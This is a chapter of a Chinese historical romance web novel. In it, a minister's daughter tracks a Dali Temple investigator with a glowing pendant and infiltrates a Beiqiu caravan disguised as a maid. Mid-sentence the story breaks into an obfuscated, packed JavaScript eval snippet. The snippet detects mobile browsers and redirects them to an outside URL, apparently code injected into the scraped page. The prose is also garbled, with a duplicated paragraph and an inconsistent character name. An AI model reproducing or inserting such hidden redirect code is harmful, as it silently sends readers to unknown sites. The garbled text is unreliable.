韶湘如从琳琅阁出来,径直朝对面的茶楼走去。
抬手叩门,等了片刻,里头竟无人应答。她索性推开厢房木门,只见屋内空荡荡的,连桌上茶盏都没有动过。
韶湘如皱起眉头,刚才喂鸟的时候明明察觉这个方向有视线追着自己,自己一抬头那窗户还关上了。
难道是错觉?
她小声嘀咕,正想转身离开,冷不防与隔壁厢房迈出的人撞了个满怀。
韶湘如仰头看向身后,两人四目相对。
没等她回过神来,那人已经不由分说将他一把推开。
她踉跄着退后几步,差点跌坐在地。
等她站稳,刚想生气,却又眯起眼睛,将眼前人从头到脚仔仔细细打量了个遍。
只见这人一身墨色锦袍,玉冠束发,衣冠齐整,清冷矜贵。
韶湘如迟疑道:“小侯爷,刚才……是你在偷看我?”
沈逸呈听见这问话,身形一僵,脸色顿时沉了下来。
他冷声道:“我在办差。”
——但也没否认偷看的人是不是他?
韶湘如乐了。
沈逸呈见她问完了,抬步要走。
韶湘如眼见那人就要消失在转角楼梯处,连忙小跑追上去:“小侯爷,你等等!”
沈逸呈脚步顿住,神色不耐地转身看她。
韶湘如从袖子里拿出一块玉玦。
玉玦莹白如雪,被红绳系着,却只有半圆形状。
她将玉玦递到沈逸呈面前,笑意盈盈道:“上次在胭脂铺你救我,我还没有正式道谢。这个送你,这玉玦权当谢礼,还请小侯爷笑纳。”
沈逸呈扫了一眼,说道:“不必。”
韶湘如眨了眨眼,又将玉玦往前递:“我本来想找个更好的送你,但刚才出来也没带什么,你要不喜欢,不如随我去琅琊阁另挑一件?”
沈逸呈再次拒绝:“不必。上次换作是旁人被劫,我亦会出手相救。”
韶湘如收起嬉笑神色,正色道:“你要是执意不肯收,我只好求父亲备厚礼登门道谢了。“
说罢还唉声叹气起来:“他老人家一把年纪,还要为这不争气的女儿奔波还人情,当真是女儿不孝!虐待老人!”
沈逸呈眉头跳了跳,心想韶尚书明明正值壮年,到她口中倒成了垂垂老矣。
他终是叹了口气,伸手拎着红绳接过玉玦,避开与她掌心相触,正欲将玉玦收入袖中。
韶湘如却突然夺回,说道:“小侯爷该不会转身就把人家送你的礼物丢了吧?”
她目光在沈逸呈腰间来回扫视,突然一把拽过他的腰带,三两下将红绳系了上去。“好啦!我就说刚才看你总觉得少了点什么,今天这身打扮可不就差个佩玉嘛!你看看,多衬你!”
沈逸呈在她动作就想把人推开,转念想到这女人实在难缠得很……!
韶湘如见他虽然板着脸,却没有解下玉玦,不由笑了起来。
她继续说道:“好歹戴上一时半刻,可不许偷偷解下来哦!”
沈逸呈轻叹,“嗯”了一声,转身便走。
等那道身影彻底消失,韶湘如才缓缓收回视线。
*
待回到韶府,她连口水都顾不上喝,火急火燎唤来莺时:“快!给我找身便装来!”
莺时看了眼窗外渐沉的天色,手上动作不停,替她解开繁复的衣裙系带,忧心忡忡道:“小姐,您才回府又要出门?这天色眼瞧着就要暗了,姥爷方才还差人来问您呢。”
韶湘如点头,任由丫鬟替她更衣:“沈逸呈似乎在查什么案子,我得跟去看个明白。”
她见莺时还是一脸担忧,又补了句:“你要是不放心,让孟冬跟着我就是了。”
孟冬是原主母亲留下的丫鬟,手脚利落,会些拳脚功夫。
其实她心里已经隐约有了猜测——
她身边,还有她的琳琅阁,怕是不干净。
不然那个沈逸呈怎么三番四次出现在自己身边,今天更是在琳琅阁盯梢自己。
刚才在琳琅阁的时候,她就察觉那些箱子的分量不太对劲。
按理说,这些钗环首饰虽然都配有锦盒,但锦盒大多中空,即便首饰分量不轻,一箱也装不了多少件,总不该让搬箱的伙计吃力成那样。
她目测箱子外壁的高度,隐约觉得底下可能藏着夹层。
尤其当伙计放下箱子时,箱底与地面相触的瞬间,那一声几乎听不见的脆响——
这分明是金属重器相击的声音,绝不是寻常首饰那种薄金细银或珠玉宝石碰撞所能发出的。
但就算这样,她原本也没太放在心上,毕竟对首饰买卖和琳琅阁的运作都不熟悉。
可偏巧让她发现有人在暗中窥视,又偏巧在琳琅阁对面的茶楼撞见了大理寺的沈逸呈。
如今把这些蛛丝马迹串联,事情顿时变得棘手起来。
琳琅阁里有什么猫腻,她其实并不关心,但绝对不能因为别人在里面做了什么手脚而把自己牵连进去!
万一到时候莫名其妙被安个罪名,她有嘴也说不清了!
如果她猜的不错,沈逸呈接下来必定要去查个究竟。
如今把这些蛛丝马迹串联起来,事情顿时变得棘手起来。
琳琅阁里有什么猫腻,她其实并不关心,但绝不能因此被牵连进去。
若她猜得不错,沈逸呈接下来必定要去查个究竟。
韶湘如三下五除二将发间钗饰拔了个干净,莺时麻利地为她挽了个简单的发髻。
韶湘如问道:“萤火虫抓到了吗?”
刚才给沈逸呈的那块玉玦,本是原主因挂绳老旧才放在琳琅阁让掌柜重新编织的,今天见她过去,掌柜便原物奉还了。
这玉玦外表平平无奇,内里却暗藏乾坤。
做成此玉的“夜萤石”是北邱国特产的珍稀玉料,因产量稀少,向来只作为贡品进献北邱皇室使用。
白日里它与寻常玉石无异,入夜后却能泛出幽幽荧光,佩戴在身上更会在行走时落下细碎光屑。
最妙的是,这些光屑能吸引萤火虫聚集,远远望去,犹如步步生辉,行动间自有流萤相随,很是好看。
韶湘如赌的就是沈逸呈认不出这玉。
但眼下正值春季,萤火虫稀少,她回来前就嘱咐孟冬去抓,权当死马当作活马医了。
如若沈逸呈没将它扔了,而是带在身上,多少有迹可循。
桂月忙道:“孟冬已经抓了一瓶子萤火虫沿东市一路放生,遣了小厮们搜寻,若运气好,该能顺着萤火虫的踪迹找到小侯爷。小姐且宽心等着。”
待孟冬传回消息说寻到玉玦下落,韶湘如当即溜出府去。谁知最终却在东市坊门附近的草丛里,发现了那块孤零零的玉玦。
韶湘如气得直跺脚。
这个沈逸呈当真是不解风情,不识好歹,暴殄天物!
见她咬牙切齿地捡起玉玦,孟冬面露愧色:“小姐,只能追查到此了,是奴婢办事不力。”
韶湘如颓然望天,早知如此,就不回家换衣服了,还不如冒险直接跟踪他,看他到底要干什么。
“小姐,”孟冬劝道,“小侯爷既已起疑,我们怕是难以追踪。不如先回府,让其他人继续找着,免
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839312|175726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得老爷担忧。”
韶湘如正欲点头,忽然看见一支商队自东市坊门缓缓驶出。
那是一队北邱商客,为首的男人们虽然穿着汉人服饰,细看却能发现发冠下隐约露出北邱特有的编发纹路,马鞍与行囊上绣着的纹样也皆透着北邱传统风格,异域风情十足。
可说是商队,这些男子却个个身形魁梧、腰背挺直,与寻常大腹便便的中年商贾截然不同,倒像是常年习武的练家子。
整支队伍行进间秩序森严,众人皆面色肃穆、无人私语。
若不是队尾跟着长长一列载货的马车,乍看之下,倒要以为是异邦调遣来的精锐。
队尾跟着几个身量纤巧的婢女,都穿着青碧色的筒裙,头巾裹发掩面,束腰紧勒,尽显婀娜体态。
那贴身筒裙限制了步幅,使得她们只能缓步跟在队尾——
正式北邱女子的典型装扮。
马背上货物堆积如山,各式各样的箱笼混杂其间,除却箱匣外还露出些布匹之类。
而其中有几个箱子韶湘如看着格外眼熟——
箱子上刻着“琳琅阁”的徽记,大小形制正是她今天在自己铺子里见过的那批。
邵香茹笑着叹了口气。
真是得来全不费功夫!
沈逸呈啊沈逸呈,任你如何躲藏,你要追查的东西这不就自己送到本姑娘眼前了么!
暮色四合时,韶湘如已然混入商队之中。
孟冬留在原地,正将那原本落在队尾、此刻已被击晕的婢女小心安置在草垛后,待自家小姐扒下对方衣物后,又细致地为她换上小姐的衣衫。
在零星的火把灯笼映照下,蜿蜒的商队影子被拉得老长。
韶湘如身着与其他婢女无二的服饰,头巾遮面,不疾不徐地跟在队尾,乍看之下与寻常北邱女子别无二致。
起初商队还走着官道,等远离城门之后,竟有另一队人马前来汇合。
这队人马皆策马而行,也是个个身形挺拔。
远远望去,为首的男子高束马尾,虽同样一身黑衣,端坐马上,但仅凭身影气质便与其他人截然不同。
然而两队人马同行不久,前队忽地勒马停驻,随即调转方向,择了一条斜岔路口折返,绕道迂回前行。
待月上枝头,一行人终于在一处驿站前停下。
这驿站孤零零地立着,四周既无房舍,树木也稀稀落落,只背靠着一片密林。
这种偏僻之地的驿站,向来只有一两个伙计常年驻守。
给些银钱,就能让他们为过路客商照料马匹、修理车驾,提供歇脚之处,能还备些简单的饭食酒肉。
驿站伙计手脚麻利地帮忙卸货,将货物箱子一一搬进马棚旁的平房,又叫来另一个伙计帮忙修理损坏的拉货板车。
原来是因车辆损坏,才不得不绕道停驻于此。
商队众人都在外面的棚子下饮水歇息,唯独后来并入的那几个黑衣人俨然主人般端坐屋内。
韶湘如混在婢女群中,在外棚假意帮忙准备碗筷,招呼店家生火煮茶。
待那几个黑衣人在屋内用起酒水饭食,她悄无声息地潜向了屋后的马棚。
借着月光辨明方位,她避开所有人,摸到那间堆放货物的平房。
此时平房的正门已被铜锁锁死,倒是侧面的窗户半掩着,只是窗台略高,内里黑沉沉一片,虚实难辨。
她将碍事的筒裙往上卷至大腿处,正欲攀窗而入——
临了还不忘回头确认四下无人,却忽觉腰间一紧,一双铁钳般的手臂将她凌空提起,刀刃已然抵上脖颈。
“是谁?”